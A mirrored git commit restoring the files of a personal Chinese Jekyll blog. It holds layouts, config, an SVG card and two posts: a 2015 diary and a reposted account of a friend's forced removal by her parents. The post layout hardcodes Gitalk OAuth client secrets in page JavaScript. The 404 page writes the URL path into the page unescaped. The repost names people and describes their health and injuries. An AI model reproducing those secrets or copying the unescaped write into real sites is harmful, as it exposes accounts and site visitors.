mirror of
https://github.com/Mabbs/mabbs.github.io
synced 2025-07-19 10:42:03 +00:00
Restore deleted repositories
This commit is contained in:
commit
f4aa957c53
6
404.md
Normal file
6
404.md
Normal file
@ -0,0 +1,6 @@
|
||||
---
|
||||
layout: default
|
||||
title: 404 - 找不到页面
|
||||
---
|
||||
# 找不到页面
|
||||
你访问的资源 <code><script>document.write(window.location.pathname)</script></code> 不存在或者可能已经被永久移除。
|
4
BingSiteAuth.xml
Normal file
4
BingSiteAuth.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0"?>
|
||||
<users>
|
||||
<user>0ADFCE64B3557DC4DC5F2DC224C5FDDD</user>
|
||||
</users>
|
139
BlogCard.svg
Normal file
139
BlogCard.svg
Normal file
@ -0,0 +1,139 @@
|
||||
---
|
||||
---
|
||||
|
||||
<svg
|
||||
width="495"
|
||||
height="195"
|
||||
viewBox="0 0 495 195"
|
||||
fill="none"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
>
|
||||
<style>
|
||||
.header {
|
||||
font: 600 18px 'Segoe UI', Ubuntu, Sans-Serif;
|
||||
fill: #fff;
|
||||
animation: fadeInAnimation 0.8s ease-in-out forwards;
|
||||
}
|
||||
|
||||
.stat {
|
||||
font: 600 14px 'Segoe UI', Ubuntu, "Helvetica Neue", Sans-Serif; fill: #9f9f9f;
|
||||
}
|
||||
.stagger {
|
||||
opacity: 0;
|
||||
animation: fadeInAnimation 0.3s ease-in-out forwards;
|
||||
}
|
||||
.rank-text {
|
||||
font: 800 100px 'Segoe UI', Ubuntu, Sans-Serif; fill: #66ccff;
|
||||
animation: scaleInAnimation 0.3s ease-in-out forwards;
|
||||
}
|
||||
|
||||
.bold { font-weight: 700 }
|
||||
.icon {
|
||||
fill: #79ff97;
|
||||
display: block;
|
||||
}
|
||||
|
||||
/* Animations */
|
||||
@keyframes scaleInAnimation {
|
||||
from {
|
||||
transform: translate(-5px, 5px) scale(0);
|
||||
}
|
||||
to {
|
||||
transform: translate(-5px, 5px) scale(1);
|
||||
}
|
||||
}
|
||||
@keyframes fadeInAnimation {
|
||||
from {
|
||||
opacity: 0;
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
</style>
|
||||
|
||||
<rect
|
||||
data-testid="card-bg"
|
||||
x="0.5"
|
||||
y="0.5"
|
||||
rx="4.5"
|
||||
height="99%"
|
||||
stroke="#e4e2e2"
|
||||
width="494"
|
||||
fill="#151515"
|
||||
stroke-opacity="1"
|
||||
/>
|
||||
|
||||
|
||||
<g
|
||||
data-testid="card-title"
|
||||
transform="translate(25, 35)"
|
||||
>
|
||||
<g transform="translate(0, 0)">
|
||||
<text
|
||||
x="0"
|
||||
y="0"
|
||||
class="header"
|
||||
data-testid="header"
|
||||
>Mayx's Blog Article</text>
|
||||
</g>
|
||||
</g>
|
||||
|
||||
<g
|
||||
data-testid="main-card-body"
|
||||
transform="translate(0, 55)"
|
||||
>
|
||||
|
||||
<g transform="translate(370, 47.5)">
|
||||
<g class="rank-text">
|
||||
<text
|
||||
x="0"
|
||||
y="0"
|
||||
alignment-baseline="central"
|
||||
dominant-baseline="central"
|
||||
text-anchor="middle"
|
||||
>
|
||||
M
|
||||
</text>
|
||||
</g>
|
||||
</g>
|
||||
|
||||
<svg x="0" y="0">
|
||||
<g transform="translate(0, 0)">
|
||||
<g class="stagger" style="animation-delay: 450ms" transform="translate(25, 0)">
|
||||
<line x1="12" y1="6.25" x2="19" y2="6.25"
|
||||
style="stroke:rgb(255,255,255);stroke-width:2"/>
|
||||
<text class="stat bold" x="25" y="12.5">{{ site.posts[0].title }}</text>
|
||||
</g>
|
||||
</g><g transform="translate(0, 25)">
|
||||
<g class="stagger" style="animation-delay: 600ms" transform="translate(25, 0)">
|
||||
<line x1="12" y1="6.25" x2="19" y2="6.25"
|
||||
style="stroke:rgb(255,255,255);stroke-width:2"/>
|
||||
<text class="stat bold" x="25" y="12.5">{{ site.posts[1].title }}</text>
|
||||
</g>
|
||||
</g><g transform="translate(0, 50)">
|
||||
<g class="stagger" style="animation-delay: 750ms" transform="translate(25, 0)">
|
||||
<line x1="12" y1="6.25" x2="19" y2="6.25"
|
||||
style="stroke:rgb(255,255,255);stroke-width:2"/>
|
||||
<text class="stat bold" x="25" y="12.5">{{ site.posts[2].title }}</text>
|
||||
</g>
|
||||
</g><g transform="translate(0, 75)">
|
||||
<g class="stagger" style="animation-delay: 900ms" transform="translate(25, 0)">
|
||||
<line x1="12" y1="6.25" x2="19" y2="6.25"
|
||||
style="stroke:rgb(255,255,255);stroke-width:2"/>
|
||||
<text class="stat bold" x="25" y="12.5">{{ site.posts[3].title }}</text>
|
||||
</g>
|
||||
</g><g transform="translate(0, 100)">
|
||||
<g class="stagger" style="animation-delay: 1050ms" transform="translate(25, 0)">
|
||||
<line x1="12" y1="6.25" x2="19" y2="6.25"
|
||||
style="stroke:rgb(255,255,255);stroke-width:2"/>
|
||||
<text class="stat bold" x="25" y="12.5">{{ site.posts[4].title }}</text>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
</g>
|
||||
</svg>
|
||||
|
37
README.md
Normal file
37
README.md
Normal file
@ -0,0 +1,37 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
# Mayx的博客
|
||||
Mayx's Home Page
|
||||
Powered by [Jekyll](https://github.com/jekyll/jekyll)
|
||||
|
||||
## 使用的开源项目
|
||||
[Jekyll](https://github.com/jekyll/jekyll)
|
||||
[jQuery](https://github.com/jquery/jquery)
|
||||
[gitalk](https://github.com/gitalk/gitalk)
|
||||
[minimal](https://github.com/pages-themes/minimal)
|
||||
[jekyll-toc](https://github.com/allejo/jekyll-toc)
|
||||
[Live2dHistoire](https://github.com/eeg1412/Live2dHistoire)
|
||||
[Simple-Jekyll-Search](https://github.com/christian-fei/Simple-Jekyll-Search)
|
||||
|
||||
## 使用的网络资源
|
||||
[Github](https://github.com/) | 包含:
|
||||
- Issue
|
||||
- Pages
|
||||
- Git
|
||||
- [Git.io](https://git.io/)
|
||||
|
||||
[网易云音乐](https://music.163.com/)
|
||||
[一言](https://hitokoto.cn/)
|
||||
[jsDelivr](https://www.jsdelivr.com/)
|
||||
[CDNJS](https://cdnjs.com/)
|
||||
[unpkg](https://unpkg.com/)
|
||||
|
||||
## 版权声明
|
||||
未经作者同意,请勿转载
|
||||
若需转载,请联系作者(主要希望找人聊天~)
|
||||
本站转载的文章如无特别说明,均按原文章的协议执行
|
||||
|
||||
## 打赏/赞助 Mayx
|
||||

|
13
_config.yml
Normal file
13
_config.yml
Normal file
@ -0,0 +1,13 @@
|
||||
theme: jekyll-theme-minimal
|
||||
title: Mayx的博客
|
||||
logo: https://avatars0.githubusercontent.com/u/17966333
|
||||
author: mayx
|
||||
timezone: Asia/Shanghai
|
||||
excerpt_separator: <!--more-->
|
||||
paginate: 7
|
||||
plugins:
|
||||
- jekyll-sitemap
|
||||
- jekyll-feed
|
||||
feed:
|
||||
path: atom.xml
|
||||
google_analytics: UA-137710294-1
|
95
_includes/toc.html
Normal file
95
_includes/toc.html
Normal file
@ -0,0 +1,95 @@
|
||||
{% capture tocWorkspace %}
|
||||
{% comment %}
|
||||
Version 1.0.7
|
||||
https://github.com/allejo/jekyll-toc
|
||||
|
||||
"...like all things liquid - where there's a will, and ~36 hours to spare, there's usually a/some way" ~jaybe
|
||||
|
||||
Usage:
|
||||
{% include toc.html html=content sanitize=true class="inline_toc" id="my_toc" h_min=2 h_max=3 %}
|
||||
|
||||
Parameters:
|
||||
* html (string) - the HTML of compiled markdown generated by kramdown in Jekyll
|
||||
|
||||
Optional Parameters:
|
||||
* sanitize (bool) : false - when set to true, the headers will be stripped of any HTML in the TOC
|
||||
* class (string) : '' - a CSS class assigned to the TOC
|
||||
* id (string) : '' - an ID to assigned to the TOC
|
||||
* h_min (int) : 1 - the minimum TOC header level to use; any header lower than this value will be ignored
|
||||
* h_max (int) : 6 - the maximum TOC header level to use; any header greater than this value will be ignored
|
||||
* ordered (bool) : false - when set to true, an ordered list will be outputted instead of an unordered list
|
||||
* item_class (string) : '' - add custom class(es) for each list item; has support for '%level%' placeholder, which is the current heading level
|
||||
* baseurl (string) : '' - add a base url to the TOC links for when your TOC is on another page than the actual content
|
||||
* anchor_class (string) : '' - add custom class(es) for each anchor element
|
||||
|
||||
Output:
|
||||
An ordered or unordered list representing the table of contents of a markdown block. This snippet will only
|
||||
generate the table of contents and will NOT output the markdown given to it
|
||||
{% endcomment %}
|
||||
|
||||
{% capture my_toc %}{% endcapture %}
|
||||
{% assign orderedList = include.ordered | default: false %}
|
||||
{% assign minHeader = include.h_min | default: 1 %}
|
||||
{% assign maxHeader = include.h_max | default: 6 %}
|
||||
{% assign nodes = include.html | split: '<h' %}
|
||||
{% assign firstHeader = true %}
|
||||
|
||||
{% capture listModifier %}{% if orderedList %}1.{% else %}-{% endif %}{% endcapture %}
|
||||
|
||||
{% for node in nodes %}
|
||||
{% if node == "" %}
|
||||
{% continue %}
|
||||
{% endif %}
|
||||
|
||||
{% assign headerLevel = node | replace: '"', '' | slice: 0, 1 | times: 1 %}
|
||||
|
||||
{% if headerLevel < minHeader or headerLevel > maxHeader %}
|
||||
{% continue %}
|
||||
{% endif %}
|
||||
|
||||
{% if firstHeader %}
|
||||
{% assign firstHeader = false %}
|
||||
{% assign minHeader = headerLevel %}
|
||||
{% endif %}
|
||||
|
||||
{% assign indentAmount = headerLevel | minus: minHeader | add: 1 %}
|
||||
{% assign _workspace = node | split: '</h' %}
|
||||
|
||||
{% assign _idWorkspace = _workspace[0] | split: 'id="' %}
|
||||
{% assign _idWorkspace = _idWorkspace[1] | split: '"' %}
|
||||
{% assign html_id = _idWorkspace[0] %}
|
||||
|
||||
{% assign _classWorkspace = _workspace[0] | split: 'class="' %}
|
||||
{% assign _classWorkspace = _classWorkspace[1] | split: '"' %}
|
||||
{% assign html_class = _classWorkspace[0] %}
|
||||
|
||||
{% if html_class contains "no_toc" %}
|
||||
{% continue %}
|
||||
{% endif %}
|
||||
|
||||
{% capture _hAttrToStrip %}{{ _workspace[0] | split: '>' | first }}>{% endcapture %}
|
||||
{% assign header = _workspace[0] | replace: _hAttrToStrip, '' %}
|
||||
|
||||
{% assign space = '' %}
|
||||
{% for i in (1..indentAmount) %}
|
||||
{% assign space = space | prepend: ' ' %}
|
||||
{% endfor %}
|
||||
|
||||
{% unless include.item_class == blank %}
|
||||
{% capture listItemClass %}{:.{{ include.item_class | replace: '%level%', headerLevel }}}{% endcapture %}
|
||||
{% endunless %}
|
||||
|
||||
{% capture my_toc %}{{ my_toc }}
|
||||
{{ space }}{{ listModifier }} {{ listItemClass }} [{% if include.sanitize %}{{ header | strip_html }}{% else %}{{ header }}{% endif %}]({% if include.baseurl %}{{ include.baseurl }}{% endif %}#{{ html_id }}){% if include.anchor_class %}{:.{{ include.anchor_class }}}{% endif %}{% endcapture %}
|
||||
{% endfor %}
|
||||
|
||||
{% if include.class %}
|
||||
{% capture my_toc %}{:.{{ include.class }}}
|
||||
{{ my_toc | lstrip }}{% endcapture %}
|
||||
{% endif %}
|
||||
|
||||
{% if include.id %}
|
||||
{% capture my_toc %}{: #{{ include.id }}}
|
||||
{{ my_toc | lstrip }}{% endcapture %}
|
||||
{% endif %}
|
||||
{% endcapture %}{% assign tocWorkspace = '' %}{{ my_toc | markdownify | strip }}
|
154
_layouts/default.html
Normal file
154
_layouts/default.html
Normal file
@ -0,0 +1,154 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
|
||||
{% seo %}
|
||||
{% feed_meta %}
|
||||
<link rel="stylesheet" href="{{ "/assets/css/style.css?v=" | append: site.github.build_revision | relative_url }}">
|
||||
<!--[if !IE]> -->
|
||||
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
|
||||
<!-- <![endif]-->
|
||||
<script src="//cdn.jsdelivr.net/npm/jquery@1.9.1/jquery.min.js"></script>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
|
||||
<![endif]-->
|
||||
|
||||
{% if site.google_analytics %}
|
||||
<!-- Global site tag (gtag.js) - Google Analytics -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id={{ site.google_analytics }}"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', '{{ site.google_analytics }}');
|
||||
var lastUpdated = new Date("{{ site.time | date: "%FT%T%z" }}");
|
||||
Date.prototype.format = function(fmt) {
|
||||
var o = {
|
||||
"M+" : this.getMonth()+1, //月份
|
||||
"d+" : this.getDate(), //日
|
||||
"h+" : this.getHours(), //小时
|
||||
"m+" : this.getMinutes(), //分
|
||||
"s+" : this.getSeconds(), //秒
|
||||
"q+" : Math.floor((this.getMonth()+3)/3), //季度
|
||||
"S" : this.getMilliseconds() //毫秒
|
||||
};
|
||||
if(/(y+)/.test(fmt)) {
|
||||
fmt=fmt.replace(RegExp.$1, (this.getFullYear()+"").substr(4 - RegExp.$1.length));
|
||||
}
|
||||
for(var k in o) {
|
||||
if(new RegExp("("+ k +")").test(fmt)){
|
||||
fmt = fmt.replace(RegExp.$1, (RegExp.$1.length==1) ? (o[k]) : (("00"+ o[k]).substr((""+ o[k]).length)));
|
||||
}
|
||||
}
|
||||
return fmt;
|
||||
}
|
||||
</script>
|
||||
{% endif %}
|
||||
<style>
|
||||
.backToTop {
|
||||
display: none;
|
||||
width: 18px;
|
||||
line-height: 1.2;
|
||||
padding: 5px 0;
|
||||
background-color: #000;
|
||||
color: #fff;
|
||||
font-size: 12px;
|
||||
text-align: center;
|
||||
position: fixed;
|
||||
_position: absolute;
|
||||
right: 10px;
|
||||
bottom: 100px;
|
||||
_bottom: "auto";
|
||||
cursor: pointer;
|
||||
opacity: .6;
|
||||
filter: Alpha(opacity=60);
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="wrapper">
|
||||
<header>
|
||||
<h1><a href="{{ "/" | relative_url }}">{{ site.title | default: site.github.repository_name }}</a></h1>
|
||||
|
||||
{% if site.logo %}
|
||||
<img src="{{ site.logo | relative_url}}" alt="Logo" />
|
||||
{% endif %}
|
||||
|
||||
<p>{{ site.description | default: site.github.project_tagline }}</p>
|
||||
|
||||
<p><form action="/search.html"><input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.."> <input type="submit"></form></p>
|
||||
|
||||
{% if site.github.is_project_page %}
|
||||
<p class="view"><a href="{{ site.github.repository_url }}">View the Project on GitHub <small>{{ site.github.repository_nwo }}</small></a></p>
|
||||
{% endif %}
|
||||
|
||||
{% if site.github.is_user_page %}
|
||||
<p class="view"><a href="{{ site.github.owner_url }}">View My GitHub Profile</a></p>
|
||||
{% endif %}
|
||||
|
||||
<a href="{{ "/Mabbs/" | relative_url }}">About Me</a>
|
||||
</header>
|
||||
<section>
|
||||
|
||||
{{ content }}
|
||||
|
||||
</section>
|
||||
<!--[if !IE]> -->
|
||||
<div id="landlord" style="left:5px;bottom:0px;">
|
||||
<div class="message" style="opacity:0"></div>
|
||||
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
|
||||
<div class="live_talk_input_body">
|
||||
<div class="live_talk_input_name_body" style="display:none;">
|
||||
<input name="name" type="hidden" class="live_talk_name white_input" id="AIuserName" value="Mayx_Blog_Talk" />
|
||||
</div>
|
||||
<div class="live_talk_input_text_body">
|
||||
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?"/>
|
||||
<button type="button" class="live_talk_send_btn" id="talk_send">发送</button>
|
||||
</div>
|
||||
</div>
|
||||
<input name="live_talk" id="live_talk" value="1" type="hidden" />
|
||||
<div class="live_ico_box" style="display:none;">
|
||||
<div class="live_ico_item type_info" id="showInfoBtn"></div>
|
||||
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
|
||||
<div class="live_ico_item type_music" id="musicButton"></div>
|
||||
<div class="live_ico_item type_youdu" id="youduButton"></div>
|
||||
<div class="live_ico_item type_quit" id="hideButton"></div>
|
||||
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
|
||||
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
|
||||
<input id="duType" value="douqilai" type="hidden">
|
||||
</div>
|
||||
</div>
|
||||
<div id="open_live2d">召唤伊斯特瓦尔</div>
|
||||
<!-- <![endif]-->
|
||||
<footer>
|
||||
{% if site.github.is_project_page %}
|
||||
<p>This project is maintained by <a href="{{ site.github.owner_url }}">{{ site.github.owner_name }}</a></p>
|
||||
{% endif %}
|
||||
<p><small>Made with ❤ by Mayx<br />Last updated at <script>document.write(lastUpdated.format("yyyy-MM-dd hh:mm:ss"));</script><br /> 总字数:{% assign count = 0 %}
|
||||
{% for post in site.posts %}
|
||||
{% assign single_count = post.content | strip_html | strip_newlines | remove: " " | size %}
|
||||
{% assign count = count | plus: single_count %}
|
||||
{% endfor %}
|
||||
{% if count > 10000 %}
|
||||
{{ count | divided_by: 10000 }} 万 {{ count | modulo: 10000 }}
|
||||
{% else %}
|
||||
{{ count }}
|
||||
{% endif %} - 文章数:{% for post in site.posts %}
|
||||
{% assign co = co | plus: 1 %}
|
||||
{% endfor %}{{ co }} - <a href="{{ "/atom.xml" | relative_url }}" >Atom</a> - <a href="{{ "/README.html" | relative_url }}" >About</a></small></p>
|
||||
</footer>
|
||||
</div>
|
||||
<script src="{{ "/assets/js/scale.fix.js" | relative_url }}"></script>
|
||||
|
||||
<script src="/js/main.js"></script>
|
||||
<!--[if !IE]> -->
|
||||
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
|
||||
<script src="/Live2dHistoire/live2d/js/message.js"></script>
|
||||
|
||||
<!-- <![endif]-->
|
||||
</body>
|
||||
</html>
|
55
_layouts/encrypt.html
Normal file
55
_layouts/encrypt.html
Normal file
@ -0,0 +1,55 @@
|
||||
---
|
||||
layout: post
|
||||
---
|
||||
|
||||
<script src="/js/aes.js"></script>
|
||||
<script>
|
||||
function getByteLen(val) {
|
||||
var len = 0;
|
||||
for (var i = 0; i < val.length; i++) {
|
||||
if (val[i].match(/[^\x00-\xff]/ig) != null) len += 3;
|
||||
else len += 1;
|
||||
}
|
||||
return len;
|
||||
}
|
||||
|
||||
function onbtnDecrypto() {
|
||||
var encryptedData = "{{ content | strip_html | strip_newlines }}";
|
||||
var keyword = document.getElementById("inputkey").value;
|
||||
|
||||
if (keyword.replace(/(^\s*)|(\s*$)/g, "") == '') {
|
||||
alert("请输入密码!");
|
||||
return;
|
||||
}
|
||||
while (getByteLen(keyword) % 8 != 0) {
|
||||
keyword = keyword + "\0";
|
||||
}
|
||||
|
||||
var key = CryptoJS.enc.Utf8.parse(keyword);
|
||||
var encryptedHexStr = CryptoJS.enc.Hex.parse(encryptedData);
|
||||
var encryptedBase64Str = CryptoJS.enc.Base64.stringify(encryptedHexStr);
|
||||
|
||||
var decryptedData = CryptoJS.AES.decrypt(encryptedBase64Str, key, {
|
||||
mode: CryptoJS.mode.ECB,
|
||||
padding: CryptoJS.pad.Pkcs7
|
||||
});
|
||||
|
||||
if (decryptedData.sigBytes < 0) {
|
||||
document.getElementById("output").innerHTML = "解密失败!密文或者key错误!";
|
||||
return;
|
||||
}
|
||||
try {
|
||||
decryptedData.toString(CryptoJS.enc.Utf8)
|
||||
} catch(e) {
|
||||
document.getElementById("output").innerHTML = "解密失败!密文或者key错误!";
|
||||
return;
|
||||
}
|
||||
var decryptedStr = decryptedData.toString(CryptoJS.enc.Utf8);
|
||||
document.getElementById("output").innerHTML = decryptedStr;
|
||||
document.getElementById("pwinput").style.display = "none";
|
||||
}
|
||||
</script>
|
||||
<div id="pwinput">{{ page.tips | default: "请输入密码:" }}<br />
|
||||
<input id="inputkey" type="password" /> <button onclick="onbtnDecrypto()">解密</button>
|
||||
</div>
|
||||
<div id="output"></div> <br />
|
90
_layouts/post.html
Normal file
90
_layouts/post.html
Normal file
@ -0,0 +1,90 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
<small>{{ page.date | date: "%-d %B %Y" }} - 字数统计:{% if page.layout == "encrypt" %}God Knows {% else %}{{ page.content | strip_html | strip_newlines | remove: " " | size }} - 阅读大约需要{{ page.content | strip_html | strip_newlines | remove: " " | size | divided_by: 350 | plus: 1 }}分钟{% endif %} - Hits: <span id="{{ page.url }}" class="visitors" >Loading...</span>
|
||||
</small>
|
||||
<h1>{{ page.title }}</h1>
|
||||
|
||||
<p class="view">by <a href="//github.com/{{ page.author | default: "Mabbs" }}">{{ page.author | default: site.author }}</a></p>
|
||||
<div id="outdate" style="display:none;">
|
||||
<hr />
|
||||
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
|
||||
<br /><br />
|
||||
</div>
|
||||
<script>
|
||||
BirthDay = new Date("{{ page.date | date: "%m/%d/%Y" }} 00:00:00");
|
||||
today = new Date();
|
||||
timeold = (today.getTime() - BirthDay.getTime());
|
||||
secondsold = Math.floor(timeold / 1000);
|
||||
e_daysold = timeold / (24 * 60 * 60 * 1000);
|
||||
daysold = Math.floor(e_daysold);
|
||||
if (daysold > 90) {
|
||||
document.getElementById("outdate").style.display = "block";
|
||||
document.getElementById("outime").innerHTML = daysold;
|
||||
}
|
||||
</script>
|
||||
|
||||
<hr />
|
||||
|
||||
{% include toc.html html=content sanitize=true %}
|
||||
|
||||
{{content}}
|
||||
|
||||
{% if page.tags %}
|
||||
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
|
||||
{% endif %}
|
||||
|
||||
<div class="pagination">
|
||||
{% if page.previous.url %}
|
||||
<span class="prev" >
|
||||
<a href="{{ site.baseurl }}{{ page.previous.url }}">
|
||||
上一篇:{{ page.previous.title }}
|
||||
</a>
|
||||
</span>
|
||||
{% endif %}
|
||||
<br />
|
||||
{% if page.next.url %}
|
||||
<span class="next" >
|
||||
<a href="{{ site.baseurl }}{{ page.next.url }}">
|
||||
下一篇:{{ page.next.title }}
|
||||
</a>
|
||||
</span>
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
<!--[if !IE]> -->
|
||||
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/gitalk/dist/gitalk.css">
|
||||
<script src="//cdn.jsdelivr.net/npm/gitalk/dist/gitalk.min.js"></script>
|
||||
|
||||
<div id="gitalk-container"></div>
|
||||
|
||||
<script>
|
||||
if (window.location.host != "mabbs.github.io")
|
||||
{
|
||||
var gitalk = new Gitalk({
|
||||
clientID: '098934a2556425f19d6e',
|
||||
clientSecret: '0bd44eed8425e5437ce43c4ba9b2791fbc04581d',
|
||||
repo: 'mabbs.github.io',
|
||||
owner: 'Mabbs',
|
||||
admin: ['Mabbs'],
|
||||
id: '{{ page.id }}', // Ensure uniqueness and length less than 50
|
||||
distractionFreeMode: false // Facebook-like distraction free mode
|
||||
})
|
||||
}
|
||||
else
|
||||
{
|
||||
var gitalk = new Gitalk({
|
||||
clientID: '36557aec4c3cb04f7ac6',
|
||||
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
|
||||
repo: 'mabbs.github.io',
|
||||
owner: 'Mabbs',
|
||||
admin: ['Mabbs'],
|
||||
id: '{{ page.id }}', // Ensure uniqueness and length less than 50
|
||||
distractionFreeMode: false // Facebook-like distraction free mode
|
||||
})
|
||||
}
|
||||
|
||||
gitalk.render('gitalk-container')
|
||||
</script>
|
||||
<!-- <![endif]-->
|
13
_posts/2015-02-23-diary.md
Normal file
13
_posts/2015-02-23-diary.md
Normal file
@ -0,0 +1,13 @@
|
||||
---
|
||||
layout: post
|
||||
title: 2015.2.23日记
|
||||
tags: [日记]
|
||||
---
|
||||
|
||||
今天是2015年2月23日,离开学还有5天<!--more-->
|
||||
今天我修好了我的U盘,之前我的U盘在一个太阳黑子盛发的时期坏掉了,我感到十分难过,于是写了一篇议论文和短篇小说纪念它,然后就半坏半好的用。就在今天,我去了我大伯家,发现我的U盘中那个坏掉了的那个文件夹突然能读了,这还是那个王哥哥的功劳呢,如果不是我展示我U盘坏掉的情况,我还不知道我的U盘竟不自动断线了。于是我使用了CHKDSK修复了我的U盘,结果所有问题解决了。就是留下了一个不知名的文件i怎么也删不掉。
|
||||
昨天我打算玩爷爷的电脑,结果打不开,于是我在今天看了看电脑,拿下来一通电,结果可以启动了。然后我很高兴,安上后,一打开显示器又不能用了,于是我猜这是显卡的问题,然后我关了显示器,打开了电脑后又开了显示器,结果好了,于是我就在这台电脑写了我今天的日记。
|
||||
|
||||
|
||||
快开学了,我写一个假期小结
|
||||
这个假期一共30天,去了4个城市,对手机的了解更深了。比如partition(分区),mount(挂载),prop(设置变量)。而且我还因此弄坏了手机。在2015年的2月18日。我以错误的方式挂载了boot分区,结果……boot分区被我玩坏了。手机是靠boot分区进行启动的,结果我还脑残的重启了。于是,在2015年的春节,我一整天都想着我的手机。终于在春节的下午,我去了二姨家,使用了电脑,花了10秒修好了手机。于是,我知道了mount是个危险命令。不过在弄坏手机之前我还做了一件事,那就是在手机上装windows3.2中文版,这是第一个推广到中国的windows系统。首先我装了DOSBOX,模拟DOS环境,然后在这个上面安了CCED,并正常的运行了,我很高兴。然后在手机上下载了win3.2系统的安装包,没有电脑的帮助安装了win3.2,证明了电脑就是一垃圾,便携式手持设备才是信息的未来,于是我就弄坏了手机,证明失败了……虽然我没去旅游,但我这个假期还是很有意思的。
|
213
_posts/2018-03-26-neko.md
Normal file
213
_posts/2018-03-26-neko.md
Normal file
@ -0,0 +1,213 @@
|
||||
---
|
||||
title: (转)关于Neko与羽毛的记录
|
||||
layout: post
|
||||
author: gledos
|
||||
tags: [Neko, 羽毛]
|
||||
---
|
||||
## 序:
|
||||
|
||||
吸取经验,为了每一个人的明天。
|
||||
|
||||
>如果有一天我消失了,我想我是死在为自由而战的冲锋路上, 而这不是一个人的悲剧。
|
||||
>
|
||||
>——亚伦斯沃茨
|
||||
|
||||
<!--more-->
|
||||
|
||||
(待续)
|
||||
|
||||
# 张千叶发布的想法的时间轴
|
||||
|
||||
1. `2018-03-14 02:52` 张千叶在知乎上发表了[想法](https://www.zhihu.com/pin/957297608381730816)
|
||||
>先要咨询一个问题
|
||||
<br />我的朋友 @Ayaka Neko 在火车站被父母带走了。
|
||||
<br />其父母原因是要将其带回云南老家住院,而其本人倾向于去北京的医院。
|
||||
<br />其中 @Ayaka Neko 已经成年,并且上精卫和北六没有给出住院意见(开了文拉法辛)
|
||||
<br />我上前争辩的时候被其父亲诬陷为协助自杀,但实际上当事人称其药量都是正常并且自愿服用,我(未成年)争辩几 句之后遭到殴打导致眼角出血,整个过程警察在场,因为赶火车没能走流程。
|
||||
<br />那么,已经父母有权利强制将已经成年的子女带回家/住院吗?
|
||||
<br />有权利殴打未成年人吗?我选择不走流程的情况下可否让监护人代为走流程?
|
||||
<br />现在我与她已经没有联系方式,其父母关掉了通话,一个关机一个只有留言,当事人手机遗失。
|
||||
<br />她曾经口头说过与其父断绝关系,并且其父承认(在做 CT 扫描和其他医疗费用的时候拒绝支付,也未支付生活费)。
|
||||
<br />那么现在该怎么办?怎么帮到她呢?需要上法庭吗?
|
||||
|
||||
2. `03-14 03:01` 张千叶回复
|
||||
>个人建议报警
|
||||
>
|
||||
>现在是我不清楚行踪,原本是我们去保定,但是她没有上车,所以我不清楚怎么弄。
|
||||
<br />另外这个算是用什么理由报警呢?我眼角的伤不是很重,留了点血的程度。
|
||||
<br />我还可以补充的是他家庭是离异家庭,离婚协议中监护权归属于其母,但是据一个未公开/不明的协议,转给了他爸爸(不确定)。
|
||||
<br />她有社交恐惧和一些人格障碍所以很依赖我,我很担心。
|
||||
<br />现在是,我以什么理由报警?其父曾说过这是我们家的事情你就不要管这行的话,并且态度极其差。
|
||||
|
||||
3. `03-14 03:04` 补充
|
||||
>还可以补充的是有一次换药反应过大打了 120,我先打的其父电话,她父亲第一反应是诈骗,然后她用云南家乡话和特有的称呼说是她,其父称 「我没这义务」 救护车和毒理化验都是我和朋友垫付,从头到尾没有任何支付的意愿。
|
||||
|
||||
4. `03-14 19:34` bc
|
||||
>通过我的父母和 Ayaka Neko的父母的交谈得知她被带回云南省红河哈尼族彝族自治州个旧市,而不是双方与警官所协商的去上海市精神卫生中心做检查。
|
||||
<br />想哭。
|
||||
|
||||
3. `03-14 20:03`
|
||||
>现在说一下,有人证,有警官协商录音,还有医院处方单+支付宝记录(能看出来不是其父亲付款)
|
||||
<br />大家看看还要啥呢
|
||||
|
||||
4. `03-14 23:18`
|
||||
>先说一下吧,我个人,除开 Neko 家庭问题。在 Neko 被夹走的时候我阻拦了一下,然后被揪住头发一拳打中右眼,现在右眼左眼睑发炎并且右眼视力下降严重,然后一脚踢中我肾左右的部位并让我疼了一天,明天去医院做一下鉴定看看。
|
||||
|
||||
5. `3-15 11:48` bc
|
||||
>暂时联系上了,不清楚情况。
|
||||
<br />我目前在医院。
|
||||
|
||||
6. `3-15 15:35`
|
||||
>目前准备到的是法医拍照,当时伤口的照片,三名证人,以及全家的录像和警察执法记录仪的录像。
|
||||
|
||||
9. `3-15 22:10`
|
||||
>我联系上
|
||||
<br />@Ayaka Neko
|
||||
<br />了。
|
||||
<br />目前她因为文拉法辛的戒断反应在医院,出院之后应该就没事了……
|
||||
<br />好想她。
|
||||
<br />好想她啊……
|
||||
